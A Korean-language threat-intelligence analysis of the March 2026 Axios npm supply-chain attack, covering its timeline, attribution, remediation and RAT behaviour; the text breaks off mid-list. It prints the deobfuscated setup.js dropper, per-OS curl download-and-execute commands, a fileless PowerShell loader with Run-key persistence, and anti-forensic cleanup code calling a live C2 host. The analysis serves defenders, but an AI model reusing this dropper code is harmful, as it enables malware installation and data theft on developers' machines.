01. Executive Summary
•
사건개요
◦
2026년 3월 31일 00:21 ~ 03:20(UTC기준) 자바스크립트 생태계에 주간 1억건 이상의 다운로드 기록을 가지고 있는 HTTP 클라이언트 라이브러리인 악시오스(Axios) NPM 관리자 계정 탈취로, 악성 패키지인 Axios NPM 릴리스 버전 axios@1.14.1과 axios@0.30.4 배포
◦
Axios 메인테이너 계정을 탈취하여 기존 Axios 소스코드를 건드리지 않고 악성 패키지 plain-crypto-js(plain-crypto-js@4.2.1) 의존성에 추가하였으며, ‘npm install’실행 시 악성코드가 자동으로 실행되어 Windows, macOS, Linux 운영체제별로 맞춤형 백도어(RAT)인 WAVESHAPER.V2를 유포
◦
Google의 GTIG를 포함하여 Huntress(macOS 바이너리 내부 이름 "macWebT"는 BlueNoroff의 RustBucket "webT" 모듈과 일치), Elastic Security Labs(macOS 바이너리와 북한 연계 백도어 간의 구조적 중복구조), Volexity(이전에 북한 캠페인과 연관된 도메인 calltan[.]com)등 다수의 위협정보 분석 조직에서도 공격 주체를 북한으로 지목
•
대응방안
◦
GitHub의 코드 검색 기능을 사용하여 package.json 또는 package-lock.json 파일내 문제가 되는 버전 검색하고 안전한 이전 버전(1.14.0 이하, 0.30.3 이하)을 적용
◦
RAT 공격 관련 아티팩트 존재여부 확인 명령어(Windows, macOS, Linux마다 상이하기 때문에 상세 검색 명령어 확인 필요)
02. Axios NPM Package 공급망 공격 개요
2.1. Executive Summary
•
2026년 3월 31일 00:21 ~ 03:20(UTC기준) 자바스크립트 생태계에 주간 1억건 이상의 다운로드 기록을 가지고 있는 HTTP 클라이언트 라이브러리인 악시오스(Axios) NPM 관리자 계정 탈취로, 악성 패키지인 Axios NPM 릴리스 버전 axios@1.14.1과 axios@0.30.4 배포
◦
악성 의존성 공격을 위해 공격 18시간 전에 사전준비를 진행했으며 3가지 운영체제에 맞춘 페이로드를 2개의 릴리즈 브랜치(1.x 및 0.x)를 39분 간격으로 동시에 오염
◦
StepSecurity의 AI 패키지 분석기(AI Package Analyst)와 StepSecurity Harden-Runner에 의해 탐지되어 프로젝트 관리자들이 공개
•
Axios 메인테이너 계정을 탈취하여 기존 Axios 소스코드를 건드리지 않고 악성 패키지 plain-crypto-js(plain-crypto-js@4.2.1) 의존성에 추가하였으며, ‘npm install’실행 시 악성코드가 자동으로 실행되어 Windows, macOS, Linux 운영체제별로 맞춤형 백도어(RAT)인 WAVESHAPER.V2를 유포
◦
드로퍼는 실시간 명령 제어(C2) 서버에 접속하여 각 운영체제에 최적화된 2단계 페이로드를 전달하고 포렌식 탐지를 피하기 위해 스스로를 삭제하고 자신의 package.json을 깨끗한 버전으로 교체
•
Google의 GTIG는 북한 위협 행위자 UNC1069(BlueNoroff)로 추정하고 있으며,
◦
북한 위협 행위자들이 암호화폐 및 탈중앙화 금융(DeFi) 분야 공격 시에 macOS와 Linux 백도어인 WAVESHAPER와의 직접적인 연관성을 제시
◦
기존 WAVESHAPER는 경량의 원시 바이너리 C2 프로토콜을 사용하고 코드 패킹을 활용하는 반면, WAVESHAPER.V2는 JSON을 사용하여 통신하고 추가 시스템 정보를 수집하며 더 많은 백도어 명령을 지원
◦
Huntress(macOS 바이너리 내부 이름 "macWebT"는 BlueNoroff의 RustBucket "webT" 모듈과 일치), Elastic Security Labs(macOS 바이너리와 북한 연계 백도어 간의 구조적 중복구조), Volexity(이전에 북한 캠페인과 연관된 도메인 calltan[.]com)등 다수의 위협정보 분석 조직에서도 공격 주체를 북한으로 지목
2.2. Affected packages Version
•
안전한 버전 : axios@1.14.0 (1.x branch), axios@0.30.3 (0.x branch)
Package | Version | Published (UTC) | Exposure Window | Status |
axios | 1.14.1 | 2026-03-31 00:21 | ~3 h 30 min | Removed by npm |
axios | 0.30.4 | 2026-03-31 01:00 | ~2 h 51 min | Removed by npm |
plain-crypto-js | 4.2.1 | 2026-03-30 23:59 | ~3 h 26 min | Security placeholder |
plain-crypto-js | 4.2.0 | 2026-03-30 05:57 | ~21 h 28 min | Security placeholder |
2.3. Attack Timeline
Timeline(UTC) | 주요 공격 내용 | 상세 공격현황 |
2026-03-30 05:57 | 사전 포석용 패키지 배포 (v4.2.0) | • 악성코드가 없는 클린한 버전의 plain-crypto-js 배포(nrwise@proton.me)
• 정상적인 crypto-js 복사본으로, 악성 코드나 postinstall 훅이 없는 정상코드만 포함
• 신규 계정에 대한 보안 스캐너의 의심을 피하기 위한 '정상 이력(History)' 생성 목적으로 사용 |
2026-03-30 23.:59 | 악성 페이로드 주입(v4.2.1) | • 약 18시간 후, 동일 계정(nrwise@proton.me)으로 악성 버전 배포. postinstall: "node setup.js" 훅과 난독화된 드로퍼 삽입 |
2026-03-31 00:21 | Axios 메인 라인 오염 (v1.14.1) | • 탈취된 메인테이너 계정(jasonsaayman)을 통해 배포(탈취된 jasonsaayman 계정, 이메일: ifstap@proton.me)
• 최신 버전인 1.x 사용자 층을 타겟으로 plain-crypto-js@4.2.1을 런타임 의존성(Dependency)로 강제 주입 |
2026-03-31 01:00 | Axios 레거시 라인 오염 (v0.30.4) | • 약 39분 뒤, 구형 0.x 버전을 사용하는 사용자들까지 공격 범위를 넓히기 위해 동일한 악성 코드 주입 버전 배포(동일 탈취계정 사용) |
2026-03-31 03:15 | NPM 저장소 내 악성 버전 삭제 | • 두 버전 모두 저장소에서 제거되었으며, latest 배포 태그는 다시 1.14.0으로 복구
• axios@1.14.1은 약 2시간 53분 동안, 0.30.4는 약 2시간 15분 동안 노출(해당 시간은 Axios 레지스트리 문서의 modified 필드를 근거로 추정한 것이며, npm 공용 API는 버전별 삭제 시간을 별도로 공개하지 않음) |
2026-03-31 03:25 | 악성 패키지 동결 (Security Hold) | • 공격의 근원인 plain-crypto-js 패키지에 대해 보안 홀드(Security Hold) 조치 시작 |
2026-03-31 04:26 | 보안 스텁(Stub)으로 교체 완료 | • NPM 공식 계정이 plain-crypto-js@0.0.1-security.0을 배포하여 악성 패키지를 공식 대체 이후 해당 패키지 설치 시 보안 경고 메시지 출력 |
03. Technical analysis
3.1. Attack Flow Diagram
•
StepSecurity에 따르면 해당 캠페인의 배후에 있는 공격자는 "jasonsaayman"의 npm 계정을 해킹하여 등록된 이메일 주소를 자신들이 관리하는 Proton Mail 주소("ifstap@proton.me")로 변경
•
"plain-crypto-js"는 "nrwise@proton.me" 이메일 주소를 사용하는 "nrwise"라는 npm 사용자에 의해 게시
•
내장된 악성코드는 난독화된 Node.js 드로퍼("setup.js")를 통해 실행되며, 운영 체제에 따라 세 가지 공격 경로 중 하나로 분기되도록 설계
1.
macOS : AppleScript 페이로드를 실행하여 외부 서버("sfrclak.com:8000")에서 트로이목마 바이너리를 가져와 "/Library/Caches/com.apple.act.mond"에 저장하고, 실행 권한을 부여한 후, "/bin/zsh"를 통해 백그라운드에서 실행되며 AppleScript 파일은 실행 후 삭제되어 흔적을 제거
2.
Windows : PowerShell 실행 파일의 경로를 찾아 "%PROGRAMDATA%\wt.exe" 경로에 복사한 후(Windows 터미널 앱으로 위장하여), 임시 디렉터리에 VBScript 파일을 작성하고 실행
•
VBScript 파일은 동일한 서버에 접속하여 PowerShell RAT 스크립트를 다운로드하고 실행한 후 다운로드한 파일은 실행 후 삭제
3.
Linux : Node.js의 execSync를 통해 셸 명령을 실행하여 동일한 서버에서 Python RAT 스크립트를 가져와 "/tmp/ld.py"에 저장한 다음 nohup 명령을 사용하여 백그라운드에서 실행
•
각 플랫폼은 packages.npm.org/product0(macOS), packages.npm.org/product1(Windows), packages.npm.org/product2(Linux)와 같은 동일한 C2 URL로 서로 다른 POST Body를 전송하기 때문에 C2에서는 단일 엔드포인트의 응답으로 플랫폼에 적합한 페이로드 제공이 가능
Axios NPM Supply Chain Attack Flow(출처 : Socket)
3.2. Infection Chain
•
Axios 프로젝트의 주요 관리자인 jasonsaayman의 npm 계정을 탈취 후 공격자가 제어하는 ProtonMail 주소인 ifstap@proton.me로 변경
•
axios@1.14.1과 axios@0.30.4 모두 npm 레지스트리에 jasonsaayman에 의해 게시된 것으로 기록되어 있어 정상적인 릴리즈와 구별할 수 없으며, 일반적인 GitHub Actions CI/CD 파이프라인은 완전히 우회
◦
모든 정상적인 Axios 1.x 릴리스는 npm의 OIDC 신뢰할 수 있는 게시자(Trusted Publisher) 메커니즘을 통해 GitHub Actions로 게시 → 게시 과정이 검증된 GitHub Actions 워크플로우와 암호화 기술로 결합되어 있다는 의미
◦
공격자는 OIDC와 기존 인증 방식이 모두 NPM_TOKEN이 존재하는 경우 토큰이 우선시된다는 점을 이용하여 GitHub Actions CI/CD을 우회
◦
그러나 axios@1.14.1은 OIDC 바인딩이나 gitHead 정보 없이, 도난당한 npm 액세스 토큰을 통해 수동으로 게시 → 기존 토큰 생성 기능을 비활성화하지 않으면 OIDC Trusted Publishing의 보호 기능 제공 불가
// axios@1.14.0 — LEGITIMATE (published via GitHub Actions OIDC)
"_npmUser": {
"name": "GitHub Actions",
"email": "npm-oidc-no-reply@github.com",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-..."
}
}
// axios@1.14.1 — MALICIOUS (published manually, no OIDC)
"_npmUser": {
"name": "jasonsaayman",
"email": "ifstap@proton.me"
// no trustedPublisher, no gitHead
}
JavaScript
복사
•
이 공격은 npm의 의존성 해석(Dependency Resolution)과 생명주기 스크립트에 의존하는 구조
◦
개발자가 npm install axios@1.14.1을 실행하면, npm은 의존성 트리를 분석하고 plain-crypto-js@4.2.1을 자동으로 설치
◦
그 후 npm은 드로퍼를 실행하는 postinstall 스크립트를 수행하는데, 이 모든 과정은 개발자가 자신의 코드를 단 한 줄도 실행하기 전에 발생되며 침해된 2개의 패키지에서 유일한 수정 사항은 package.json에 추가된 코드 한줄만 존재
◦
axios@1.14.0과 axios@1.14.1버전의 차이는 크게 없으며 plain-crypto-js는 require()로 호출되거나 임포트된 적이 없으며, 설치 후크를 트리거하기 위한 목적으로만 존재하는 가상의 종속성으로 사용
▽ package.json
"dependencies": {
"follow-redirects": "^1.15.11",
"form-data": "^4.0.5",
"proxy-from-env": "^2.1.0",
"plain-crypto-js": "^4.2.1" // ← INJECTED
}
JavaScript
복사
•
공격 흐름 : npm install plain-crypto-js → postinstall hook → node setup.js → _entry("6202033") → detect OS via os.platform() → branch to platform-specific payload delivery → delete setup.js → rename package.md → package.json (removes postinstall evidence)
[Stage 1] plain-crypto-js : Trojan
•
2026년 3월 30일 23시 59분 12초(UTC) 악성 패키지 plain-crypto-js@4.2.1가 공개된 이후 24시간 내에 plain-crypto-js은 4.2.0과 4.2.1 두 가지 버전이 존재
◦
▽ plain-crypto-js의 package.json
// crypto-js@4.2.0 (LEGITIMATE — Evan Vosberg / brix)
{
"name": "crypto-js",
"version": "4.2.0",
"description": "JavaScript library of crypto standards.",
"author": "Evan Vosberg",
"homepage": "http://github.com/brix/crypto-js",
"scripts": {
"test": "grunt" // ← no postinstall
}
}
// plain-crypto-js@4.2.1 (MALICIOUS — nrwise@proton.me)
{
"name": "plain-crypto-js", // ← different name, everything else cloned
"version": "4.2.1", // ← version one ahead of the real package
"description": "JavaScript library of crypto standards.",
"author": { "name": "Evan Vosberg" }, // ← fraudulent use of real author name
"homepage": "http://github.com/brix/crypto-js", // ← real repo, wrong package
"scripts": {
"test": "grunt",
"postinstall": "node setup.js" // ← THE ONLY DIFFERENCE. The entire weapon.
}
}
JavaScript
복사
▽ plain-crypto-js@4.2.1과 crypto-js@4.2.0 차이점 비교
File | In 4.2.0 | In 4.2.1 | Change |
package.json | scripts 섹션 미존재 | "postinstall": "node setup.js" 추가 | 악성코드 추가 |
setup.js | - | 4.2 KB(4,209byte) 난독화된 드롭퍼 | RAT dropper 추가 |
package.md | - | 클린한 상태의 JSON stub 보고 버전 4.2.0 | 안티 포렌식을 위해 package.json을 클린한 버전으로 교체 |
나머지 약 40개 파일 | crypto-js@4.2.0와 동일 |
•
package.md는 setup.js가 실행된 이후 package.md의 이름을 package.json으로 변경되며, 스텁 파일은 실제 버전인 4.2.1이 아니라 4.2.0을 사용
•
이 경우 악성코드에 감염된 후에 npm list를 실행하면 plain-crypto-js@4.2.0으로 보고 → 이는 npm list가 설치된 package.json의 version 필드값을 읽어오는데, 현재 그 값이 4.2.0으로 조작되기 때문에 악성 패키지 사용여부를 확인하는 과정에서 시스템이 침해되지 않았다고 판단하는 것을 노린 버전 스푸핑 공격의 일종
▽ package.md파일 일부
// Contents of package.md (the clean replacement stub)
{
"name": "plain-crypto-js",
"version": "4.2.0", // ← reports 4.2.0, not 4.2.1 — deliberate mismatch
"description": "JavaScript library of crypto standards.",
"license": "MIT",
"author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" },
"homepage": "http://github.com/brix/crypto-js",
"repository": { "type": "git", "url": "http://github.com/brix/crypto-js.git" },
"main": "index.js",
// No "scripts" key — no postinstall, no test
"dependencies": {}
}
JavaScript
복사
Axios v1.14.1 패키지 탐지내역(출처 : StepSecurity)
Axios v0.30.4 패키지 탐지내역(출처 : StepSecurity)
[Stage 2] Setup.js : Payload
•
2차 난독화 방식을 사용 : 첫 번째 단계는 문자를 역순으로 배치하고 언더바(_)를 치환하는 방식의 Base64이며, 두 번째 단계는 OrDeR_7077이라는 문자열에서 추출한 순환 키(rotating key)를 이용한 문자 단위 XOR 암호를 사용
◦
모든 문자열은 stq[]라는 배열에 인코딩된 값으로 저장
◦
_trans_2(x, r): 인코딩된 문자열을 역순으로 배치하고, 언더바(_)를 등호(=)로 치환한 뒤 Base64로 디코딩되며 그 결과물은 다시 _trans_1 함수로 전달
◦
_trans_1(x, r): XOR 암호 단계로 키인 "OrDeR_7077"은 자바스크립트의 Number() 함수를 통해 파싱
▪
이때 알파벳 문자는 NaN을 생성하며, 이는 비트 연산에서 0으로 처리되어 결과적으로 결과적으로 6~9번째 위치에 있는 숫자 7, 0, 7, 7만 살아남아 [0,0,0,0,0,0,7,0,7,7]라는 키가 형성
▪
각 위치 i의 문자는 charCode XOR key[(7 × i × i) % 10] XOR 333 연산을 통해 최종적으로 디코딩
•
_entry 함수(인자 "6202033"과 함께 호출됨)는 전체 C2 URL을 hxxp://sfrclak[.]com:8000/6202033으로 구성한 뒤, 운영체제(OS)별로 실행 경로를 분기하고 각 플랫폼은 맞춤형 드롭퍼를 다운로드
•
C2 서버는 플랫폼별 요청을 식별하기 위해 POST Body 데이터로 packages.npm.org/product{0,1,2}를 사용
Index | Decoded Value | Purpose |
stq[0] | child_process | Module import |
stq[1] | os | Module import |
stq[2] | fs | Module import |
stq[3] | http://sfrclak.com:8000/ | C2 base URL |
stq[5] | win32 | OS detection |
stq[6] | darwin | OS detection |
stq[7] | AppleScript dropper template | macOS payload (downloads to /Library/Caches/com.apple.act.mond) |
stq[8] | cscript "LOCAL_PATH" //nologo && del... | Windows execution |
stq[9] | VBScript dropper template | Windows payload (curl + renamed PowerShell) |
stq[10] | nohup osascript "LOCAL_PATH" > /dev/null 2>&1 & | macOS execution |
stq[12] | curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ... | Linux execution |
stq[15] | .exe | Windows persistence suffix |
stq[16] | .ps1 | PowerShell script extension |
stq[17] | .vbs | VBScript extension |
•
StepSecurity에서 분석한 내용에 따르면 난독화된 setup.js파일의 가독성을 강화한 버전은 다음과 같은 구성으로 실행
•
_entry 함수(인자 "6202033"과 함께 호출됨)는 전체 C2 URL을 hxxp://sfrclak[.]com:8000/6202033으로 구성한 뒤, 운영체제(OS)별로 실행 경로를 분기하고 각 플랫폼에서는 사전에 제작된 맞춤형 드롭퍼를 전달
•
C2 서버는 플랫폼별 요청을 식별하기 위해 packages.npm.org/product{0,1,2}를 POST Body를 데이터로 사용
// setup.js — de-obfuscated and annotated
// SHA-256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
const _entry = function(campaignId) {
try {
// Load Node.js built-in modules via decoded string table
const fs = require("fs"); // stq[2]
const os = require("os"); // stq[1]
const { execSync } = require("child_process"); // stq[0]
// Build the full C2 URL: base + campaign ID
// stq[3] = "http://sfrclak.com:8000/"
const c2Url = "http://sfrclak.com:8000/" + campaignId;
// → "http://sfrclak.com:8000/6202033"
// Detect the operating system
const platform = os.platform(); // "darwin", "win32", or other
const tmpDir = os.tmpdir(); // "/tmp" on Linux/macOS, "%TEMP%" on Windows
// os.type(), os.release(), os.arch() are called but results discarded —
// likely sends them via the POST body or they are used in the stage-2
os.type(); os.release(); os.arch();
let execCommand = "";
// ─────────────────────────────────────────────────
// BRANCH 1: macOS (darwin)
// ─────────────────────────────────────────────────
if (platform === "darwin") {
const scriptPath = tmpDir + "/" + campaignId; // /tmp/6202033
const appleScript = `
set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"}
try
do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null"
end try
do shell script "rm -rf ${scriptPath}"`;
fs.writeFileSync(scriptPath, appleScript);
execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`;
// ─────────────────────────────────────────────────
// BRANCH 2: Windows (win32)
// ─────────────────────────────────────────────────
} else if (platform === "win32") {
const psPath = execSync("where powershell").toString().trim();
const wtPath = process.env.PROGRAMDATA + "\\wt.exe";
if (!fs.existsSync(wtPath)) {
fs.copyFileSync(psPath, wtPath);
// Creates a persistent copy of PowerShell. wt.exe is Windows Terminal's
// binary name — a legitimate-looking process in %PROGRAMDATA%.
}
const ps1Path = tmpDir + "\\" + campaignId + ".ps1"; // %TEMP%\6202033.ps1
const vbsPath = tmpDir + "\\" + campaignId + ".vbs"; // %TEMP%\6202033.vbs
const vbScript = `
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""${c2Url}"" > ""${ps1Path}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`;
fs.writeFileSync(vbsPath, vbScript);
execCommand = `cscript "${vbsPath}" //nologo && del "${vbsPath}" /f`;
// ─────────────────────────────────────────────────
// BRANCH 3: Linux / other
// ─────────────────────────────────────────────────
} else {
execCommand = `curl -o /tmp/ld.py -d packages.npm.org/product2 -s ${c2Url} && nohup python3 /tmp/ld.py ${c2Url} > /dev/null 2>&1 &`;
// curl and nohup chained with &&: nohup only runs if curl succeeded.
// If the C2 is unreachable, chain silently fails — npm install still exits 0.
}
// execSync is blocking, but all three commands return immediately because
// the real work is detached to background processes (nohup / cscript 0,False)
execSync(execCommand);
// ─────────────────────────────────────────────────
// ANTI-FORENSICS: cover tracks
// ─────────────────────────────────────────────────
const selfPath = __filename;
fs.unlink(selfPath, () => {}); // 1. Delete setup.js itself
fs.unlink("package.json", () => {}); // 2. Delete malicious package.json
fs.rename("package.md", "package.json", () => {}); // 3. Install clean v4.2.0 stub
} catch(e) {
// Silent catch — any error (C2 unreachable, permission denied, etc.)
// is swallowed completely. npm install always exits with code 0.
// The developer never sees any indication that anything went wrong.
}
};
// Entry point — "6202033" is the campaign/tracking ID
_entry("6202033");
JavaScript
복사
3.3. Malware Analysis
[Stage 3] macOS(darwin) : AppleScript Dropper
•
$TMPDIR/6202033 경로에 다음과 같은 동작을 수행하는 AppleScript를 작성
◦
packages.npm.org/product0을 본문으로 하여 C2에 POST 요청을 전송
◦
응답 결과(페이로드)를 /Library/Caches/com.apple.act.mond 경로에 저장 (Apple 시스템 데몬으로 위장)
◦
chmod 770으로 권한을 변경하고, C2 URL을 인자로 전달하여 /bin/zsh를 통해 백그라운드에서 실행
◦
실행 후 해당 AppleScript를 자가 삭제
◦
최종적으로 nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 & 명령을 통해 스크립트를 실행
try
do shell script "
curl -o /Library/Caches/com.apple.act.mond
-d packages.npm.org/product0
-s http://sfrclak.com:8000/6202033
&& chmod 770 /Library/Caches/com.apple.act.mond
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &"
&> /dev/null"
"
end try
do shell script "rm -rf tmp/6202033"
JavaScript
복사
•
C2 서버의 응답은 x86_64와 arm64 아키텍처를 모두 지원하는 657KB 크기의 Mach-O 유니버설 바이너리로 이는 Intel 프로세서와 Apple Silicon(M1/M2 등) 기반 Mac을 모두 공격 대상이라는 것을 의미
•
이 바이너리는 C++로 작성되었으며, HTTP 통신을 위해 libcurl과 연결되어 있고 C2 프로토콜 직렬화를 위해 nlohmann::json 라이브러리를 사용
•
이 바이너리는 다른 플랫폼과 동일한 4가지 명령 체계(kill, peinject, runscript, rundir)를 구현하고 있으며, 동일한 JSON 필드명, 위조된 IE8 User-Agent(mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)), 그리고 동일한 60초 간격의 비콘(Beacon) 주기를 공유
•
macOS에서만 동작하는 주요 기능 분석
◦
sysctl을 이용한 시스템 핑거프린팅 : kern.osproductversion(macOS 버전), hw.model(하드웨어 모델), machdep.cpu.brand_string(CPU 정보), hw.optional.arm64(아키텍처 감지) 등을 쿼리하여 시스템 정보를 수집하며, 설치 날짜는 /var/db/.AppleSetupDone 파일의 생성 시간을 통해 도출
◦
초기 디렉토리 스캔 : 설치된 소프트웨어를 파악하기 위해 '문서(Documents)' 및 '데스크탑(Desktop)' 폴더와 더불어 /Applications 디렉토리에 대한 초기 스윕(Sweep)을 수행
◦
peinject 핸들러 : 바이너리를 /private/tmp/.(점으로 시작하는 숨김 폴더) 경로에 작성
▪
실행 전 fork() + execv()를 호출하기 전, codesign --force --deep --sign - "%s" 명령을 통해 해당 파일을 Self-sign하여 macOS의 Gatekeeper의 탐지를 우회하고 “확인되지 않은 개발자”라는 대화상자를 띄우지 않고 실행 가능
▪
runscript 핸들러 : /tmp/.XXXXXX.scpt 경로에 mkstemps로 생성된 임시 .scpt 파일을 사용하여 /usr/bin/osascript를 통해 명령을 실행이 가능하며 이를 통해 일반적인 쉘 명령 외에도 AppleScript 기반의 자동화가 가능하다는 점을 확인
[Stage 3] Windows(win32) : VBScript + PowerShell Chain
•
PowerShell 위치 식별 : where powershell 명령을 사용하여 시스템 내 PowerShell 경로를 검색
•
위장 및 복사 : 찾은 PowerShell 바이너리를 %PROGRAMDATA%\wt.exe 경로로 복사(Windows Terminal 실행 파일인 것처럼 위장)
•
VBScript 작성: %TEMP%\6202033.vbs 경로에 cmd.exe를 통해 다음과 같은 명령을 연쇄적으로 실행하는 VBScript를 작성
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1
& %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False
JavaScript
복사
•
최종 실행 : cscript "%TEMP%\6202033.vbs" //nologo 명령으로 해당 VBScript를 실행한 뒤, 마지막에 생성했던 .vbs 파일까지 삭제하여 흔적 삭제
•
PowerShell 스크립트가 실행되면 11,042Byte 크기의 PowerShell RAT가 실행되면서 16자리 무작위 영숫자 UID를 생성하고 호스트의 fingerprints를 추출
$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ...)
$username = $env:USERNAME
$hostname = $env:COMPUTERNAME
$timezone = "(UTC" + $((Get-TimeZone).BaseUtcOffset.TotalHours) + " hours) " + ...
$version = "$($os.Caption) $($os.OSArchitecture) $($os.Version)"
$cpuType = (Get-CimInstance Win32_Processor | Select-Object -First 1).Name
JavaScript
복사
•
이후 Init-Dir-Info를 통해 초기 디렉터리 검색을 수행하여 Documents, Desktop, OneDrive, AppData\Roaming 및 모든 파일 시스템 드라이브 루트를 열거하고 명령 실행 전에 피해자의 파일 시스템 목록을 확인
•
RAT는 265바이트 크기의 배치 파일을 C:\ProgramData\system.bat(숨김으로 설정된) 위치에 기록하고 이를 실행 키로 등록
◦
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate → C:\ProgramData\system.bat
◦
"MicrosoftUpdate”라는 정상 Windows 업데이트 서비스 명을 모방하며, 배치 파일은 한줄짜리 파일리스 로더를 사용
start /min powershell -w h -c "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString(
(Invoke-WebRequest -UseBasicParsing -Uri 'http://sfrclak.com:8000/6202033'
-Method POST -Body 'packages.npm.org/product1').Content))) 'http://sfrclak.com:8000/6202033'"
JavaScript
복사
◦
시스템을 재부팅할 때마다 system.bat은 동일한 packages.npm.org/product1 본문을 사용하여 C2 서버로 POST 요청을 보내고, HTTP 응답으로 전체 RAT 코드를 수신한 후 메모리에서 PowerShell 스크립트 블록으로 실행
◦
RAT코드는 최초 실행 이후 디스크에 다시 접근하지 않기 때문에 네트워크 레벨의 분석없이는 포렌식이 어려움
[Stage 3] Linux
•
C2 서버에서 POST요청의 Body에 packages.npm.org/product2를 보내고, 응답을 /tmp/ld.py로 저장하여 실행
curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
&& nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &
JavaScript
복사
•
실행 후, 페이로드는 흔적을 지우기 위해 setup.js를 자가 삭제하고 package.md를 package.json으로 이름을 변경하여 설치된 패키지에서 postintall 훅을 제거하여 추적 회피
•
/tmp/ld.pyC2는 npm 프로세스 트리와 분리되어 백그라운드에서 실행되는 Python RAT 스크립트를 반환
// setup.js (deobfuscated cleanup logic)
const K = __filename;
t.unlink(K, (x) => {}); // delete setup.js
t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall)
t.rename('package.md', 'package.json', (x) => {}); // replace with clean version
JavaScript
복사
•
Linux 페이로드는 12KB 크기의 난독화되지 않은 Python 스크립트로, 세 가지 플랫폼 변종 중 가장 가독성이 높음
•
이 스크립트는 Windows 및 macOS 변종과 동일한 4개 명령 체계(kill, peinject, runscript, rundir), 동일한 IE8 User-Agent, 동일한 60초 주기 비콘 루프, 그리고 동일한 JSON 프로토콜을 구현
•
최초 실행 시 RAT은 16자리의 UID를 생성하고 $HOME, $HOME/.config, $HOME/Documents, $HOME/Desktop의 디렉토리 목록이 포함된 FirstInfo 비콘을 송부
◦
그 후 BaseInfo 루프에 진입하여 호스트 이름, 사용자 이름, OS, 아키텍처, 시간대, 부팅 시간, 시스템 제조사 및 제품 정보(/sys/class/dmi/id/에서 추출), 그리고 PID, 부모 PID, 사용자 이름, 명령줄이 포함된 전체 프로세스 목록(모두 /proc/에서 직접 읽어옴)을 전송(다른 운영체제와 동일)
[Stage 4] Python RAT
•
142.11.206.73:8000(Express.js 구동)에 위치한 C2 서버는 POST 요청에 응답하여 페이로드를 제공(GET 요청시 500에러를 반환)
•
◦
macOS(product0)와 Windows(product1) 페이로드는 C2 서버가 오프라인이 되기 전에 확보하지 못했음
◦
1단계 코드를 통해 macOS는 네이티브 바이너리(chmod 770 후 직접 실행), Windows는 PowerShell 스크립트(.ps1, -ep bypass로 실행)일 것으로 추정
•
Linux 2단계 페이로드(ld.py, SHA256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf)는 난독화되지 않은 Python RAT로, 지속성 유지 메커니즘이 없어 재부팅 전까지만 동작하며 하기 4개의 명령어를 지원
Command | Function | What It Does |
kill | - | • RAT 프로세스를 종료하고 C2서버에 종료 사실을 확인 |
peinject | Do-Action-Ijt | • Reflective .NET assembly injection
• Base64로 인코딩된 DLL을 System.Reflection.Assembly::Load()를 통해 로드 후 Extension.SubRoutine.Run2를 찾아내어 cmd.exe를 호스트 프로세스로 사용하는 쉘코드 페이로드와 함께 호출하나 디스크에서 파일이 생성되지 않음
• 전달받은 페이로드를 Base64로 디코딩하여 /tmp/.<random>(점으로 시작하는 숨김 파일) 경로에 쓰고, 권한을 0o777로 변경한 뒤 Popen을 통해 실행
• 코드의 156번 라인에 버그가 있는데, ijtbin 파라미터 대신 정의되지 않은 b64_string을 참조하고 있으며 이는 해당 코드가 다른 버전에서 복사된 것을 의미 |
runscript | Do-Action-Scpt | • Base64 형태로 전달되어 메모리 내에서 디코딩되며, NoProfile -ExecutionPolicy Bypass 옵션과 함께 실행되며 만약 스크립트 크기가 10KB보다 크면 임시 파일(GUID 이름의 .ps1)으로 작성되어 실행된 후 즉시 삭제
• 만약 Script 필드가 비어 있으면 Param에 담긴 내용을 쉘 명령어(shell=True)로 실행하고 Script 내용이 제공되면 이를 Base64로 디코딩하여 python3 -c <code> 형태로 실행 → 실행 결과(출력값)는 캡처되어 C2 서버로 반환 |
rundir | Do-Action-Dir | • 각 항목에 대해 파일 이름, 크기, 타임스탬프 및 하위 항목 존재 여부(HasItems) 플래그를 반환 |
•
첫 연결 시, RAT은 $HOME, $HOME/.config, $HOME/Documents, $HOME/Desktop의 디렉토리 목록이 포함된 FirstInfo 비콘을 전송하고 그 후 60초 간격의 폴링 루프(Polling Loop)에 진입하여 다음과 같은 정보가 담긴 BaseInfo 비콘으로 전송
•
RAT 최초 실행시에는 2개의 페이로드를 유출
◦
POST #1 (~33 KB) : Documents, Desktop, OneDrive, AppData 및 모든 드라이브 루트의 전체 디렉터리 목록(파일 이름, 크기 및 타임스탬프 포함)
◦
POST #2 (~7 KB) : 전체 시스템 정보로 호스트 이름, 사용자 이름, OS 버전, 시간대, CPU 모델, 부팅 시간, PID와 실행 파일 경로를 포함한 전체 실행 프로세스 목록
▪
호스트 이름, 사용자 이름, 운영체제(OS), 아키텍처
▪
시스템 제조사 및 제품명 (/sys/class/dmi/id/에서 추출)
▪
PID, 부모 PID, 사용자 이름, 명령줄이 포함된 전체 프로세스 목록
▪
